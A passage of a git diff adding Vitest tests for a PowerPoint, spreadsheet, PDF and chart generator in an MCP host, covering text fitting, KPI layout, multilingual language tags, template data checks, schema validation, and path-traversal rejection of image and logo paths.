body.sizes[0], body.w - 0.2 - 27 / 72, {+ paraSpaceAfter: 8,+ })+ expect(need + 0.1).toBeLessThanOrEqual(body.h + 1e-3)+ expect(body.y + body.h).toBeLessThanOrEqual(footerTop(SIXTEEN_NINE.height))+ texts.push(...body.paragraphs)+ }+ expect(texts).toEqual(bullets)+ })++ it('shortens a bullet of many lines to what fits, counting the spacing of each line', async () => {+ const bullet = Array.from({ length: 60 }, (_, i) => `line ${i}`).join('\n')+ const result = await generatePptx(+ {+ filename: 'n.pptx',+ aspectRatio: '16x9',+ slides: [{ layout: 'title-bullets', title: 'Lines', bullets: [bullet] }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/shortened/)+ const body = shapeWithText(slideXml(path.join(outputDir, 'n.pptx'), 1), 'line 0')+ const need = textBlockHeight(body.paragraphs, body.sizes[0], body.w - 0.2 - 27 / 72, {+ paraSpaceAfter: 8,+ })+ expect(need + 0.1).toBeLessThanOrEqual(body.h + 1e-3)+ })++ it('puts a long cover subtitle below a three-line cover title', async () => {+ const result = await generatePptx(+ {+ filename: 'c.pptx',+ slides: [{ layout: 'cover', title: long(22, 'Annual'), subtitle: 'Subtitle line' }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'c.pptx'), 1)+ const title = shapeWithText(xml, 'Annual')+ const subtitle = shapeWithText(xml, 'Subtitle line')+ const need = textBlockHeight(title.paragraphs, title.sizes[0], title.w - 0.2, { bold: true })+ expect(title.h).toBeGreaterThanOrEqual(need + 0.1 - 1e-3)+ expect(subtitle.y).toBeGreaterThanOrEqual(title.y + title.h)+ })++ it('fits a long KPI value on one line of its card', async () => {+ const result = await generatePptx(+ {+ filename: 'k.pptx',+ aspectRatio: '16x9',+ slides: [+ {+ layout: 'kpis',+ title: 'KPIs',+ kpis: [+ { label: 'Revenue', value: '$12,345,678.90' },+ { label: 'Users', value: 1204 },+ { label: 'NPS', value: 48 },+ { label: 'Churn', value: '2.1%' },+ ],+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const value = shapeWithText(slideXml(path.join(outputDir, 'k.pptx'), 1), '$12,345,678.90')+ expect(value.xml).toContain('wrap="none"')+ const need = textBlockHeight(value.paragraphs, value.sizes[0], value.w - 0.2, { bold: true })+ expect(need).toBeLessThanOrEqual((value.sizes[0] * 1.2) / 72 + 1e-3)+ })++ it('sets every KPI value on a slide at one size and centres a short last row', async () => {+ const values = ['1%', '2%', '$1,234,567.89', '4%', '5%']+ const result = await generatePptx(+ {+ filename: 'k5.pptx',+ slides: [+ {+ layout: 'kpis',+ title: 'KPIs',+ kpis: values.map((value, i) => ({ label: `K${i + 1}`, value })),+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'k5.pptx'), 1)+ const shapes = values.map(v => shapeWithText(xml, v))+ expect(new Set(shapes.map(s => s.sizes[0])).size).toBe(1)+ for (const s of shapes) expect(s.xml).toContain('wrap="none"')+ // Three cards in the first row, two in the second, both rows centred on the slide.+ const rows = [...new Set(shapes.map(s => s.y.toFixed(3)))]+ expect(rows).toHaveLength(2)+ const centre = (row: typeof shapes) =>+ (Math.min(...row.map(s => s.x)) + Math.max(...row.map(s => s.x + s.w))) / 2+ const first = shapes.filter(s => s.y.toFixed(3) === rows[0])+ const second = shapes.filter(s => s.y.toFixed(3) === rows[1])+ expect(first).toHaveLength(3)+ expect(second).toHaveLength(2)+ expect(centre(second)).toBeCloseTo(centre(first), 2)+ expect(centre(first)).toBeCloseTo(13.333 / 2, 2)+ })++ it('lines the values up when one KPI label takes two lines', async () => {+ const result = await generatePptx(+ {+ filename: 'kl.pptx',+ aspectRatio: '16x9',+ slides: [+ {+ layout: 'kpis',+ title: 'KPIs',+ kpis: [+ { label: 'Net revenue retention across enterprise accounts', value: '112%' },+ { label: 'NPS', value: '48' },+ { label: 'Churn', value: '2.1%' },+ { label: 'ARR', value: '$4.2M' },+ ],+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'kl.pptx'), 1)+ const ys = ['112%', '48', '2.1%', '$4.2M'].map(v => shapeWithText(xml, v).y)+ expect(Math.max(...ys) - Math.min(...ys)).toBeLessThan(1e-3)+ })++ it('sets the deck in one font family, with no Helvetica on the cover', async () => {+ const result = await generatePptx(+ { filename: 'f.pptx', slides: [{ layout: 'cover', title: 'Fonts', subtitle: 'One family' }] },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'f.pptx')+ expect(slideXml(file, 1)).not.toContain('Helvetica')+ const theme = zipEntryText(file, 'ppt/theme/theme1.xml')+ const latin = [...theme.matchAll(/<a:(?:major|minor)Font><a:latin typeface="([^"]+)"/g)].map(+ m => m[1]+ )+ expect(latin).toEqual(['Arial', 'Arial'])+ })++ it('keeps a KPI value that wraps above the delta, and says when it is cut', async () => {+ const value = '$1,234,567,890.12 annual recurring revenue across all regions and segments'+ const kpis = Array.from({ length: 8 }, (_, i) => ({+ label: `Metric ${i}`,+ value,+ delta: '+12% vs last quarter',+ deltaDirection: 'up',+ }))+ const result = await generatePptx(+ {+ filename: 'k.pptx',+ aspectRatio: '16x9',+ slides: [{ layout: 'kpis', title: 'KPIs', kpis }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'k.pptx'), 1)+ const shownValue = shapeWithText(xml, '$1,234,567,890.12')+ const delta = shapeWithText(xml, '▲ +12%')+ expect(shownValue.y + shownValue.h).toBeLessThanOrEqual(delta.y + 1e-3)+ expect(result.content).toContain('slides[0].kpis[0].value is too long for its space')+ })++ it('says when an eyebrow or a quote attribution is shortened to one line', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ aspectRatio: '16x9',+ slides: [+ { layout: 'section', eyebrow: long(14, 'chapter'), title: 'Results' },+ { layout: 'quote', quote: { text: 'Short.', attribution: long(30, 'Author') } },+ { layout: 'section', eyebrow: 'Part two', title: 'Plans' },+ { layout: 'quote', quote: { text: 'Short.', attribution: 'Aristotle' } },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'e.pptx')+ expect(shapeWithText(slideXml(file, 1), 'CHAPTER0').paragraphs[0]).toMatch(/…$/)+ expect(result.content).toContain('slides[0].eyebrow is too long for one line and was shortened')+ expect(result.content).toContain(+ 'slides[1].quote.attribution is too long for one line and was shortened'+ )+ expect(result.content).not.toMatch(/slides\[[23]\]/)+ })+})++describe('clerum__generate_pptx — two-column bullets that do not fit', () => {+ const twoColumn = (left: string[]) => ({+ filename: 'c.pptx',+ aspectRatio: '16x9',+ slides: [+ {+ layout: 'two-column',+ title: 'Columns',+ columns: {+ left: { type: 'bullets', bullets: left },+ right: { type: 'narrative', text: 'Short.' },+ },+ },+ ],+ })++ it('says a bullet was shortened, not that zero bullets were left out', async () => {+ const long = Array.from({ length: 60 }, (_, i) => `line ${i}`).join('\n')+ const result = await generatePptx(twoColumn([long]), outputDir)+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/columns\.left\.bullets\[0\] is too long for the column/)+ expect(result.content).not.toMatch(/\b0 bullet/)+ const column = shapeWithText(slideXml(path.join(outputDir, 'c.pptx'), 1), 'line 0')+ const need = textBlockHeight(column.paragraphs, column.sizes[0], column.w - 0.2 - 27 / 72, {+ paraSpaceAfter: 6,+ })+ expect(need + 0.1).toBeLessThanOrEqual(column.h + 1e-3)+ })++ it('counts the bullets left out', async () => {+ const items = Array.from({ length: 40 }, (_, i) => `Bullet number ${i}`)+ const result = await generatePptx(twoColumn(items), outputDir)+ expect(result.success, result.error).toBe(true)+ const kept = textShapes(slideXml(path.join(outputDir, 'c.pptx'), 1)).find(+ s => s.paragraphs[0] === 'Bullet number 0'+ )!.paragraphs.length+ expect(kept).toBeLessThan(40)+ expect(result.content).toContain(+ `slides[0].columns.left.bullets: the last ${40 - kept} of 40 bullets did not fit`+ )+ const column = shapeWithText(slideXml(path.join(outputDir, 'c.pptx'), 1), 'Bullet number 0')+ const oneMore = fitText(items.slice(0, kept + 1), column, [14, 13, 12, 11], {+ paraSpaceAfter: 6,+ indent: 27 / 72,+ })+ expect(oneMore.fits).toBe(false)+ })++ it('lays out thousands of bullets in linear time', async () => {+ const items = Array.from(+ { length: 2000 },+ (_, i) => `Item ${i}: the quick brown fox jumps over the lazy dog near the river bank`+ )+ const started = performance.now()+ const column = await generatePptx(twoColumn(items), outputDir)+ const list = await generatePptx(+ {+ filename: 'l.pptx',+ slides: [{ layout: 'title-bullets', title: 'List', bullets: [...items, ...items] }],+ },+ outputDir+ )+ expect(column.success && list.success).toBe(true)+ // Well over the time this takes, so a slow machine passes; a quadratic layout takes minutes.+ expect(performance.now() - started).toBeLessThan(10_000)+ }, 30_000)+})++describe('clerum__generate_pptx — bullets written as Markdown', () => {+ const bulletParagraphs = (xml: string) =>+ [...xml.matchAll(/<a:p>([\s\S]*?)<\/a:p>/g)].map(m => m[1]).filter(p => p.includes('<a:buChar'))++ it('drops a list marker the slide bullet would print again', async () => {+ const result = await generatePptx(+ {+ filename: 'm.pptx',+ slides: [+ {+ layout: 'title-bullets',+ title: 'Markers',+ bullets: ['- First', '* Second', '• Third', '-5% margin', '1. Step one'],+ },+ { layout: 'title-bullets', title: 'One string', bullets: '- Alpha\n- Beta' },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'm.pptx')+ expect(shapeWithText(slideXml(file, 1), 'First').paragraphs).toEqual([+ 'First',+ 'Second',+ 'Third',+ '-5% margin',+ '1. Step one',+ ])+ expect(shapeWithText(slideXml(file, 2), 'Alpha').paragraphs).toEqual(['Alpha', 'Beta'])+ })++ it('keeps the lines of one bullet under that bullet', async () => {+ const result = await generatePptx(+ {+ filename: 'l.pptx',+ slides: [+ { layout: 'title-bullets', title: 'Lines', bullets: ['Line one\nline two', 'Next'] },+ {+ layout: 'two-column',+ title: 'Columns',+ columns: {+ left: { type: 'bullets', bullets: ['Split\nhere', 'Other'] },+ right: { type: 'narrative', text: 'Short.' },+ },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'l.pptx')+ for (const [slide, first] of [+ [1, 'Line one'],+ [2, 'Split'],+ ] as const) {+ const paragraphs = bulletParagraphs(slideXml(file, slide))+ expect(paragraphs).toHaveLength(2)+ expect(paragraphs[0]).toContain(`<a:t>${first}</a:t>`)+ expect(paragraphs[0]).toContain('<a:br/>')+ }+ })+})++describe('clerum__generate_pptx — slide XML', () => {+ it('gives each paragraph its properties once, before its first run', async () => {+ const result = await generatePptx(+ {+ filename: 'x.pptx',+ slides: [+ {+ layout: 'title-bullets',+ title: 'الإيرادات في Q3',+ bullets: ['الإيرادات ارتفعت بنسبة 12% في Q3', 'Two\nlines', 'Plain'],+ },+ {+ layout: 'title-table',+ title: 'Table',+ table: { headers: ['المنطقة', 'Q3'], rows: [['الرياض في Q3', '1,200']] },+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'x.pptx')+ for (const slide of [1, 2]) {+ for (const [, inner] of slideXml(file, slide).matchAll(/<a:p>([\s\S]*?)<\/a:p>/g)) {+ const props = inner.match(/<a:pPr\b/g) ?? []+ expect(props.length).toBeLessThanOrEqual(1)+ if (props.length === 1) expect(inner.startsWith('<a:pPr')).toBe(true)+ }+ }+ })+})++describe('clerum__generate_pptx — scripts other than Latin', () => {+ it('tags Chinese, Japanese and Korean runs with their language', async () => {+ const result = await generatePptx(+ {+ filename: 'l.pptx',+ slides: [+ {+ layout: 'title-bullets',+ title: '多语言支持',+ bullets: ['营收同比增长 12%,超出预期', 'ひらがなとカタカナ', '한국어 매출 증가'],+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'l.pptx'), 1)+ expect(xml).toMatch(/lang="zh-CN"[^>]*>[\s\S]*?<a:t>多语言支持<\/a:t>/)+ expect(xml).toMatch(/lang="zh-CN"[^>]*>[\s\S]*?<a:t>营收同比增长/)+ expect(xml).toMatch(/lang="ja-JP"[^>]*>[\s\S]*?<a:t>ひらがな/)+ expect(xml).toMatch(/lang="ko-KR"[^>]*>[\s\S]*?<a:t>한국어/)+ })++ it('gives Han characters alone the language of the deck', async () => {+ const result = await generatePptx(+ {+ filename: 'j.pptx',+ slides: [+ {+ layout: 'title-bullets',+ title: '売上概要',+ bullets: ['今期の売上は前年比で増加しました', '東京'],+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'j.pptx'), 1)+ expect(xml).toMatch(/lang="ja-JP"[^>]*>[\s\S]*?<a:t>売上概要<\/a:t>/)+ expect(xml).toMatch(/lang="ja-JP"[^>]*>[\s\S]*?<a:t>東京<\/a:t>/)+ expect(xml).not.toContain('zh-CN')+ })++ it('uses a bullet glyph PowerPoint sets in the Latin face in every language', async () => {+ const result = await generatePptx(+ {+ filename: 'b.pptx',+ slides: [{ layout: 'title-bullets', title: 'B', bullets: ['营收增长', 'English'] }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const chars = [+ ...slideXml(path.join(outputDir, 'b.pptx'), 1).matchAll(/<a:buChar char="([^"]+)"/g),+ ].map(m => m[1])+ expect(chars).toEqual(['•', '•'])+ })++ it('sets Arabic secondary text upright and unspaced, and keeps Latin italic', async () => {+ await writeImage(outputDir, 'pic.png', 800, 600)+ const result = await generatePptx(+ {+ filename: 'i.pptx',+ slides: [+ { layout: 'cover', title: 'مراجعة الأعمال', subtitle: 'الإيرادات والاحتفاظ بالعملاء' },+ { layout: 'section', eyebrow: 'القسم الأول', title: 'الأداء', subtitle: 'ملخص الربع' },+ { layout: 'quote', quote: { text: 'لقد خفضت الروبوتات الجديدة وقت التبديل.' } },+ { layout: 'image', title: 'صورة', image: { path: 'pic.png', caption: 'تعليق الصورة' } },+ { layout: 'section', eyebrow: 'Part one', title: 'Results', subtitle: 'Latin italic' },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'i.pptx')+ const runOf = (slide: number, text: string) => {+ const hit = new RegExp(`<a:rPr[^>]*>(?:(?!<a:rPr)[\\s\\S])*?<a:t>${text}`).exec(+ slideXml(file, slide)+ )+ if (!hit) throw new Error(`no run for ${text}`)+ return /<a:rPr[^>]*>/.exec(hit[0])![0]+ }+ for (const [slide, text] of [+ [1, 'الإيرادات'],+ [2, 'ملخص'],+ [3, 'لقد'],+ [4, 'تعليق'],+ ] as const) {+ expect(runOf(slide, text)).not.toContain('i="1"')+ expect(runOf(slide, text)).toContain('lang="ar-SA"')+ }+ expect(runOf(2, 'القسم')).not.toContain('spc=')+ expect(runOf(5, 'Latin italic')).toContain('i="1"')+ expect(runOf(5, 'PART ONE')).toContain('spc="400"')+ })++ it('lays out an Arabic paragraph right to left', async () => {+ const result = await generatePptx(+ {+ filename: 'r.pptx',+ slides: [+ {+ layout: 'title-bullets',+ title: 'Mixed',+ bullets: ['English first', 'الإيرادات ارتفعت بنسبة ١٢٪'],+ },+ ],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const xml = slideXml(path.join(outputDir, 'r.pptx'), 1)+ const paragraphs = [...xml.matchAll(/<a:p>([\s\S]*?)<\/a:p>/g)].map(m => m[1])+ const arabic = paragraphs.find(p => p.includes('الإيرادات'))!+ const english = paragraphs.find(p => p.includes('English first'))!+ expect(arabic).toMatch(/<a:pPr[^>]*rtl="1"/)+ expect(arabic).toMatch(/algn="r"/)+ expect(arabic).toMatch(/lang="ar-SA"/)+ expect(english).not.toMatch(/rtl="1"/)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pptx.templates.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pptx.templates.test.tsnew file mode 100644index 000000000..df89d3bff--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pptx.templates.test.ts@@ -0,0 +1,233 @@+/**+ * Template decks are built from `data`: every field is declared in the schema,+ * required fields are checked per template, and a wrong field name is reported.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { PPTX_TEMPLATE_FIELDS } from '../pptxTemplates'+import { chartXmls, generatePptx, shapeWithText, slideCount, slideXml } from './support/pptxXml'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pptx-tpl-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++function allText(file: string): string {+ const parts: string[] = []+ for (let n = 1; n <= slideCount(file); n++) {+ parts.push([...slideXml(file, n).matchAll(/<a:t>([^<]*)<\/a:t>/g)].map(m => m[1]).join(' '))+ }+ return parts.join('\n')+}++describe('clerum__generate_pptx — template data is declared', () => {+ it('declares every field each template reads, and says which template it belongs to', () => {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pptx')!+ const data = (tool.parameters.properties as Record<string, Record<string, unknown>>).data+ const props = data.properties as Record<string, { description: string }>+ for (const [template, fields] of Object.entries(PPTX_TEMPLATE_FIELDS)) {+ for (const field of [...fields.required, ...fields.optional]) {+ expect(props[field], `${template}.${field}`).toBeDefined()+ expect(props[field].description).toContain(template)+ }+ }+ })+})++describe('clerum__generate_pptx — template data is checked', () => {+ it('names a missing required field instead of drawing "undefined Highlights"', async () => {+ const result = await generatePptx(+ {+ filename: 'q.pptx',+ template: 'quarterly-review',+ data: { title: 'Q3 review', highlights: ['Record quarter'] },+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/data\.period/)+ expect(result.error).toMatch(/quarterly-review/)+ })++ it('names the missing severity instead of failing with a TypeError', async () => {+ const result = await generatePptx(+ {+ filename: 'i.pptx',+ template: 'incident-review',+ data: { title: 'Outage', summary: 'API down', date: '2026-09-01' },+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/data\.severity/)+ expect(result.error).not.toMatch(/Cannot read/)+ })++ it('fails when every field sent was one the template does not read', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ template: 'executive-brief',+ data: { title: 'Brief', keyMetrics: [{ label: 'x', value: '1' }], summaryPoints: ['a'] },+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/keyMetrics/)+ expect(result.error).toMatch(/kpis/)+ })++ it('reads snake_case field names and reports the ones it could not place', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ template: 'executive-brief',+ data: {+ title: 'Brief',+ next_steps: ['Ship it'],+ key_takeaways: ['a'],+ },+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'e.pptx')+ expect(slideCount(file)).toBe(2)+ expect(allText(file)).toContain('Ship it')+ expect(result.content).toMatch(/next_steps/)+ expect(result.content).toMatch(/key_takeaways/)+ expect(result.content).toMatch(/takeaways/)+ })++ it('rejects a field of the wrong shape with the field name', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ template: 'executive-brief',+ data: { title: 'Brief', kpis: [{ label: 'Revenue' }] },+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/data\.kpis\[0\]\.value/)+ })+})++describe('clerum__generate_pptx — template decks read correctly', () => {+ it('adds the Outlook section only when there is an outlook', async () => {+ const result = await generatePptx(+ {+ filename: 'q.pptx',+ template: 'quarterly-review',+ data: { title: 'Q3 review', period: 'Q3 2026', highlights: ['Record quarter'] },+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'q.pptx')+ expect(allText(file)).not.toContain('Outlook')+ expect(allText(file)).toContain('Q3 2026 Highlights')+ })++ it('keeps the whole market description in the pitch deck', async () => {+ const description =+ 'Global small-satellite launch services by 2030, per three independent analyst reports ' ++ 'covering commercial and government demand.'+ const result = await generatePptx(+ {+ filename: 'p.pptx',+ template: 'pitch-deck',+ data: {+ company: 'Acme',+ tagline: 'Launch for everyone',+ problem: 'Launch is scarce',+ solution: 'Reusable small launchers',+ marketSize: { value: '$12B', description },+ },+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(allText(path.join(outputDir, 'p.pptx'))).toContain(description)+ })++ it('shows team names larger than their roles', async () => {+ const result = await generatePptx(+ {+ filename: 'p.pptx',+ template: 'pitch-deck',+ data: {+ company: 'Acme',+ tagline: 'Launch',+ problem: 'P',+ solution: 'S',+ team: [{ name: 'Ada Lovelace', role: 'CEO' }],+ },+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ const file = path.join(outputDir, 'p.pptx')+ const teamSlide = slideCount(file)+ const xml = slideXml(file, teamSlide)+ const name = shapeWithText(xml, 'Ada Lovelace')+ const role = shapeWithText(xml, 'CEO')+ expect(name.sizes[0]).toBeGreaterThan(role.sizes[0])+ })++ it('does not print the chart title twice on a template chart slide', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ template: 'executive-brief',+ data: {+ title: 'Brief',+ charts: [+ { type: 'bar', title: 'Revenue', labels: ['a'], datasets: [{ label: 's', data: [1] }] },+ ],+ },+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(chartXmls(path.join(outputDir, 'e.pptx'))[0]).not.toContain('<c:title>')+ })++ it('warns that slides[] is ignored when a template builds the deck', async () => {+ const result = await generatePptx(+ {+ filename: 'e.pptx',+ template: 'executive-brief',+ data: { title: 'Brief', takeaways: ['a'] },+ slides: [{ layout: 'title-bullets', title: 'x', bullets: ['y'] }],+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/slides/)+ })++ it('says which templates read data when it comes with slides[] and no template', async () => {+ const result = await generatePptx(+ {+ filename: 'd.pptx',+ slides: [{ layout: 'title-bullets', title: 'x', bullets: ['y'] }],+ data: {},+ },+ outputDir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).toContain(+ 'data was ignored: it is only read when template is one of executive-brief, ' ++ 'quarterly-review, incident-review, pitch-deck.'+ )+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pptx.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pptx.test.tsindex 42bfbb9b9..2b9b0c21a 100644--- a/mcp-host/src/workflow/__tests__/internalTools.pptx.test.ts+++ b/mcp-host/src/workflow/__tests__/internalTools.pptx.test.ts@@ -183,8 +183,9 @@ describe('clerum__generate_pptx — all slide layouts', () => {// ─── Security: path traversal on logoPath / image / chart ──────────+// A path escaping the output folder fails the call, as it does in the other generators.describe('clerum__generate_pptx — path traversal protection', () => {- it('silently skips logo when logoPath is traversal-unsafe', async () => {+ it('fails when logoPath escapes the output folder', async () => {const tool = findTool('clerum__generate_pptx')const result = await tool.execute({@@ -194,12 +195,12 @@ describe('clerum__generate_pptx — path traversal protection', () => {},testOutputDir)- // Render still succeeds — bad logoPath is dropped, deck is produced.- expect(result.success).toBe(true)- expect(isPptxFile(path.join(testOutputDir, 'logo-trav.pptx'))).toBe(true)+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/branding\.logoPath: path traversal blocked/)+ expect(fs.existsSync(path.join(testOutputDir, 'logo-trav.pptx'))).toBe(false)})- it('silently skips slide image when image.path is traversal-unsafe', async () => {+ it('fails when image.path escapes the output folder', async () => {const tool = findTool('clerum__generate_pptx')const result = await tool.execute({@@ -214,11 +215,11 @@ describe('clerum__generate_pptx — path traversal protection', () => {},testOutputDir)- expect(result.success).toBe(true)- expect(isPptxFile(path.join(testOutputDir, 'img-trav.pptx'))).toBe(true)+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[0\]\.image\.path: path traversal blocked/)})- it('silently skips chart PNG when chart.path is traversal-unsafe', async () => {+ it('fails when chart.path escapes the output folder', async () => {const tool = findTool('clerum__generate_pptx')const result = await tool.execute({@@ -233,8 +234,8 @@ describe('clerum__generate_pptx — path traversal protection', () => {},testOutputDir)- expect(result.success).toBe(true)- expect(isPptxFile(path.join(testOutputDir, 'chart-trav.pptx'))).toBe(true)+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[0\]\.chart\.path: path traversal blocked/)})})diff --git a/mcp-host/src/workflow/__tests__/internalTools.schemaAjv.test.ts b/mcp-host/src/workflow/__tests__/internalTools.schemaAjv.test.tsnew file mode 100644index 000000000..37f4e0148--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.schemaAjv.test.ts@@ -0,0 +1,409 @@+/**+ * The workflow router validates arguments against the tool schema before+ * execute() runs; the other suites call execute() directly and never reach that+ * gate. These cases are arguments the runtimes handle, so the schemas must let+ * them through the router.+ */+import { describe, expect, it } from 'vitest'+import { INTERNAL_TOOLS } from '../internalTools'+import { unknownArguments } from '../schemaArguments'+import { workflowValidation } from './support/workflowRouter'++function schemaOf(name: string): Record<string, unknown> {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return tool.parameters+}++function accepts(name: string, args: Record<string, unknown>): Promise<string | true> {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return workflowValidation(tool, args)+}++const ACCEPTED: Array<[string, string, Record<string, unknown>]> = [+ [+ 'a spreadsheet of numbers',+ 'clerum__generate_xlsx',+ {+ filename: 'ventas.xlsx',+ sheets: [+ {+ name: 'Ventas',+ rows: [+ ['Mes', 'Monto', 'Pagado'],+ ['Ene', 1200, true],+ ['Feb', 1850.5, null],+ ],+ },+ ],+ },+ ],+ [+ 'conditional formatting on a numbered column matching a number',+ 'clerum__generate_xlsx',+ {+ filename: 'v.xlsx',+ sheets: [+ {+ name: 'S',+ rows: [['a'], [1]],+ conditionalFormatting: [{ column: 1, rules: [{ equals: 0, fillColor: '#fee2e2' }] }],+ },+ ],+ },+ ],+ [+ 'numbers, percents and dates written as text',+ 'clerum__generate_xlsx',+ {+ filename: 'v.xlsx',+ sheets: [+ {+ name: 'Ventas',+ headers: ['Fecha', 'Monto', 'Margen'],+ rows: [['2026-09-22', '$1,200.50', '45%']],+ columnFormats: { Monto: 'currency:EUR', C: 'percent', '0': 'date' },+ },+ ],+ },+ ],+ [+ 'conditional formatting by column letter with every rule kind',+ 'clerum__generate_xlsx',+ {+ filename: 'v.xlsx',+ sheets: [+ {+ name: 'S',+ rows: [+ ['Status', 'Amount'],+ ['Late', 1500],+ ],+ conditionalFormatting: [+ {+ column: 'B',+ rules: [+ { greaterThan: 1000, fillColor: '#f00' },+ { between: [0, 10], fontColor: 'red', bold: true },+ { equals: true },+ { contains: 'late', regex: '^L' },+ ],+ },+ ],+ },+ ],+ },+ ],+ [+ 'a sheet that only holds images, named or placed',+ 'clerum__generate_xlsx',+ {+ filename: 'v.xlsx',+ branding: { companyName: 'Example', logoPath: 'logo.png' },+ sheets: [+ {+ name: 'Charts',+ rows: [],+ images: ['sales.png', { path: 'costs.png', anchor: 'H2', width: 480 }],+ },+ ],+ },+ ],+ [+ 'a PDF table of numbers',+ 'clerum__generate_pdf',+ {+ filename: 'r.pdf',+ body: 'x',+ tables: [{ headers: ['Mes', 'Monto'], rows: [['Ene', 1200]] }],+ },+ ],+ [+ 'PDF column widths in points',+ 'clerum__generate_pdf',+ {+ filename: 'r.pdf',+ body: 'x',+ tables: [{ headers: ['A', 'B'], rows: [['1', '2']], widths: [120, '*'] }],+ },+ ],+ [+ 'a PDF table with a numeric header, null and boolean cells',+ 'clerum__generate_pdf',+ {+ filename: 'r.pdf',+ body: 'x',+ tables: [+ {+ headers: ['Region', 2026],+ rows: [+ ['North', null],+ ['South', true],+ ],+ },+ ],+ },+ ],+ [+ 'PDF column widths as percentages and auto',+ 'clerum__generate_pdf',+ {+ filename: 'r.pdf',+ body: 'x',+ tables: [{ headers: ['A', 'B', 'C'], rows: [['1', '2', '3']], widths: ['30%', 'auto', '*'] }],+ },+ ],+ [+ 'PDF images as file names, as clerum__generate_chart returns them',+ 'clerum__generate_pdf',+ {+ filename: 'r.pdf',+ body: 'x',+ images: ['sales.png', { path: 'costs.png', width: 300, alignment: 'left' }],+ },+ ],+ [+ 'a DOCX table of numbers',+ 'clerum__generate_docx',+ {+ filename: 'r.docx',+ body: 'x',+ tables: [{ headers: ['Mes', 'Monto'], rows: [['Ene', 1200]] }],+ },+ ],+ [+ 'DOCX images as bare file names or objects',+ 'clerum__generate_docx',+ {+ filename: 'r.docx',+ body: 'x',+ images: ['ventas.png', { path: 'margen.png', width: 300, alignment: 'center' }],+ branding: { logoPath: 'logo.png' },+ },+ ],+ [+ 'DOCX years as table headers',+ 'clerum__generate_docx',+ {+ filename: 'r.docx',+ body: 'x',+ tables: [{ headers: ['Region', 2024, 2025], rows: [['Norte', 1200, null]] }],+ },+ ],+ [+ 'a bar chart of numbers with gaps',+ 'clerum__generate_chart',+ {+ filename: 'c.png',+ type: 'line',+ data: { labels: ['a', 'b'], datasets: [{ data: [1, null] }] },+ },+ ],+ [+ 'a scatter of {x, y} points',+ 'clerum__generate_chart',+ { filename: 'c.png', type: 'scatter', data: { datasets: [{ data: [{ x: 1, y: 2 }] }] } },+ ],+ [+ 'a bubble of {x, y, r} points',+ 'clerum__generate_chart',+ { filename: 'c.png', type: 'bubble', data: { datasets: [{ data: [{ x: 1, y: 2, r: 5 }] }] } },+ ],+ [+ 'values written as text, which the normalizer reads',+ 'clerum__generate_chart',+ { filename: 'c.png', type: 'bar', data: { labels: ['a'], datasets: [{ data: 